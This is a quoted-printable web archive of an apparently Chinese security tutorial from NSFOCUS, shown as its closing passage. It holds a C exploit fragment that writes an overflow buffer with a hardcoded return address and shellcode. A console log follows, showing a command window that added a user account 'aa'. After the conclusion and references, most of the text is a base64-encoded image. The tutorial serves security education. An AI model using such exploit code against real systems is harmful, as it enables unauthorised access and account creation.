*(unsigned=20 int *)&buffer[64]=3D0x77e5633a; = //=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF=DA=B8=C4=D0=B4=B3=C9DLL=BA=AF=CA=FD=BF= =E2=D6=D0=B5=C4=C1=BD=B4=CEpop=20 = ret
memcpy(&buffer[sizeof(buffer)-strlen(shellcode)-1],shellcode,s= trlen(shellcode));
buffer[sizeof(buffer)-1]=3D0;
fprintf(fd,"%s",bu= ffer);=20
fclose(fd);
return 0;=20 =
}
=B4=CB=B3=CC=D0=F2=BD=A8=C1=A2=C1=CB=D2=BB=B8=F6=CE=C4=D7=D6=CE=C4= =BC=FEfiles.txt

=B0=CB=A1=A2=C2=A9=B6=B4=C0=FB=D3=C3=B3=C9=B9=FB=CE=D2=C3=C7=B0=D1=D3=D0=C2=A9=B6=B4=B5=C4=B3=CC=D0=F2=BA=CD=C0=FB=D3=C3= =B3=CC=D0=F2=CB=F9=BD=A8=B9=B9=B3=F6=C0=B4=B5=C4=CE=C4=D7=D6=CE=C4=BC=FE=B7= =C5=C8=EB=A3=AC=C8=BB=BA=F3=D6=B4=D0=D0=D3=D0=C2=A9=B6=B4=B5=C4=B3=CC=D0=F2= =A3=AC=BE=CD=BB=E1=B7=A2=CF=D6=C1=CB=A3=AC=CE=D2=C3=C7=B3=C9=B9=A6=B5=C4=B8= =C4=B1=E4=C1=CB=B3=CC=D0=F2=B5=C4=C1=F7=B3=CC=A3=AC=D7=AA=C8=EB=CE=D2=C3=C7= =B5=C4shellcode=A3=AC=BF=AA=C1=CB=D2=BB=B8=F6cmd=B4=B0=BF=DA=B2=A2=C7=D2=BC= =D3=C8=EB=C1=CB=D5=CB=BA=C5aa
=C3=FC=C1=EE=D6=B4=D0=D0=B3=C9=B9=A6=A1=A3=


C:\Documents=20 and Settings\Nanika\=D7=C0=C3=E6\Release>net = user

\\Student=20 = =B5=C4=CA=B9=D3=C3=D5=DF=D5=CB=BB=A7

-----------------------------= --------------------------------------------------
aa   = ;         =20 = Administrator          =         =20 = Nanika           &= nbsp;    =20 = =C3=FC=C1=EE=D6=B4=D0=D0=B3=C9=B9=A6=A1=A3


C:\Documents and=20 = Settings\Nanika\=D7=C0=C3=E6\Release>

=BE=C5=A1=A2=BD=E1=C2=DB<= BR>=D5=E2=B4=CE=B5=C4=C2=A9=B6=B4=C0=FB=D3=C3=A3=AC=D4=D9=B6=C8=D5=B9=CF=D6= =C1=CB=A3=AC=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=B5=C4=D1=CF=D6=D8=D0=D4=A3=AC=C7= =D2=B2=BB=D6=BB=D3=D0=D2=BB=D6=D6=B7=BD=B7=A8=C0=B4=D7=AA=C8=EB=CE=D2=C3=C7= =CB=F9=BD=A8=B9=B9=B5=C4=B6=F1=D2=E2=B3=CC=D0=F2=A3=AC=D6=BB=D2=AA=CE=D2=C3= =C7=BF=C9=D2=D4=B4=D3=C2=A9=B6=B4=B3=CC=D0=F2=CB=F9=BC=D3=D4=D8=B5=C4DLL=D6= =D0=D1=B0=D5=D2=B5=BD=BF=C9=D2=D4=C0=FB=D3=C3=B5=C4=BB=FA=C6=F7=C2=EB=A3=AC= =BE=CD=BF=C9=D2=D4=CA=B9=D3=C3=B7=B5=BB=D8DLL=D6=D0=B5=C4=B3=CC=D0=F2=C0=B4= =B4=EF=B5=BD=CE=D2=C3=C7=B6=A8=CE=BB=B5=C4=B9=A6=C4=DC=A3=AC=B4=CB=B4=CE=C2= =A9=B6=B4=B5=C4=C0=FB=D3=C3=A3=AC=CE=D2=BB=B9=C3=BB=D3=D0=D4=DA=B1=F0=B5=C4= =CF=B5=CD=B3=C9=CF=B2=E2=CA=D4=B9=FD=A3=AC=BF=C9=C4=DC=D4=DA=B1=F0=B5=C4=CF= =B5=CD=B3=C9=CF=A3=AC=B2=BB=C4=DC=CD=A8=D3=C3=C1=BD=B4=CEpop=A1=A2=20 = ret=A3=AC=B6=F8=B6=E0=CF=DF=B3=CC=B5=C4=B3=CC=D0=F2=A3=AC=BF=C9=C4=DC=D2=B2= =B2=BB=C4=DC=B9=BB=CD=A8=D3=C3=A3=AC=B5=AB=D6=D8=B5=E3=CA=C7=D4=DA=D3=DA=B6= =D4=C2=A9=B6=B4=B5=C4=B5=F7=CA=D4=B9=FD=B3=CC=BA=CD=C8=E7=BA=CE=B6=A8=CE=BB= =B5=C4=D1=D0=BE=BF=A3=AC=C1=CB=BD=E2=CF=B5=CD=B3=B0=B2=C8=AB=A3=AC=B1=D8=D0= =EB=D2=AA=CF=C8=C1=CB=BD=E2=CF=B5=CD=B3=A3=AC=D4=DALINUX=CF=C2=D2=F2=CE=AA= =BF=AA=B7=C5=D4=AD=CA=BC=C2=EB=A3=AC=CA=B9=B5=C3=C8=CB=C8=CB=B6=BC=B1=C8=BD= =CF=C8=DD=D2=D7=C1=CB=BD=E2=C4=DA=B2=BF=BA=CB=D0=C4=BA=CD=BC=DC=B9=B9=A3=AC= =B5=AB=D4=DAWIN=CF=C2=BE=CD=B2=BB=CD=AC=C1=CB=A3=AC=B3=FD=C1=CB=B5=C8M$=B7= =A2=B2=BC=D2=BB=D0=A9=BC=BC=CA=F5=CE=C4=D5=C2=CD=E2=A3=AC=BE=CD=D6=BB=C4=DC= =B5=C8=B8=DF=CA=D6=C0=B4=D1=D0=BE=BF=BA=CB=D0=C4=BA=F3=A3=AC=D4=DA=CD=F8=C2= =E7=C9=CF=B7=A2=B1=ED=C1=CB=A3=AC=CB=E4=C8=BB=BA=CB=D0=C4=D5=E2=D6=D6=B5=D7= =B2=E3=B5=C4=B6=AB=CE=F7=A3=AC=B2=A2=B2=BB=D0=E8=D2=AA=C8=CB=C8=CB=B6=BC=C4= =DC=B9=BB=C1=CB=BD=E2=A3=AC=B5=AB=C1=CB=BD=E2=BA=F3=BE=CD=BF=C9=D2=D4=B6=D4= =D0=B4=B3=CC=D0=F2=C9=CF=A3=AC=D4=F6=BC=D3=C1=CB=D0=ED=B6=E0=BD=E2=BE=F6=B5= =C4=B0=EC=B7=A8=A1=A3


=B2=CE=BF=BC=CE=C4=CF=D7

http://m= sdn.microsoft.com/

http://www.nsfocus.net/index.php?act=3Dmagazine= &do=3Dview&mid=3D1662
=B5=DA=CE=E5=D5=C2=20 Exploit Microsoft INTERNET INFORMATION = SERVER
=D7=F7=D5=DF=A3=BA=C4=AA=B4=F3=20 = master_moda@yahoo.com

http://www.finalseraph.org/hume/asmdata/SEHi= nASM.htm
SEH  in=20 ASM =D1=D0=BE=BF
By=20 = Hume/=C0=E4=D3=EA=C6=AE=D0=C4

http://0xc0ffee.com/papers/buffer_ov= erflow/Jason's%20Buffer%20Windows%20NT%20Overflow%20Paper.htm
Windows = NT Buffer Overflow's From Start to=20 Finish
jason_jordan@omron.com
=B0=E6=C8=A8=CB=F9=D3=D0=A3=AC=CE=B4=BE=AD=D0=ED=BF=C9=A3=AC= =B2=BB=B5=C3=D7=AA=D4=D8
 
=D6=D0=C1=AA=C2=CC=C3=CB=D0=C5=CF=A2=BC=BC=CA=F5=A3=A8=B1=B1= =BE=A9=A3=A9=D3=D0=CF=DE=B9=AB=CB=BE=B0=E6=C8=A8=CB=F9=D3=D0 = =C1=AA=CF=B5:webadmin@nsfocus.com
©1999-2003 NSFOCUS = Corporation. All=20 rights Reserved.
------=_NextPart_000_0000_01C387B3.409E7C90 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/js_01.gif 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 